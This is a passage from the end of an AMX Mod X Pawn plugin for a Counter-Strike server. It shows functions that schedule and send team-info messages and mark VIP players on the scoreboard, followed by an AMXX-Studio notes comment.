9276 TeamsTargetTime = CurrentTime + 0.1
9277 }
9278 else
9279 {
9280 set_task ( ( TeamsTargetTime + 0.1 ) - CurrentTime, "fm_cs_set_user_team_msg", id + TASK_TEAM );
9281
9282 TeamsTargetTime = CurrentTime + 0.1
9283 }
9284}
9285
9286public fm_cs_set_user_team_msg ( TaskIndex )
9287{
9288 SwitchingTeam = true;
9289
9290 emessage_begin ( MSG_ALL, get_user_msgid ( "TeamInfo" ) );
9291
9292 ewrite_byte ( ID_TEAM );
9293
9294 ewrite_string ( CS_TEAM_NAMES [fm_cs_get_user_team (ID_TEAM)] );
9295
9296 emessage_end ( );
9297
9298 SwitchingTeam = false
9299
9300 if(g_bAlive[ID_TEAM] && g_vip[ID_TEAM])
9301 {
9302 message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
9303 write_byte(ID_TEAM)
9304 write_byte(4)
9305 message_end()
9306 }
9307}
9308/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
9309*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
9310*/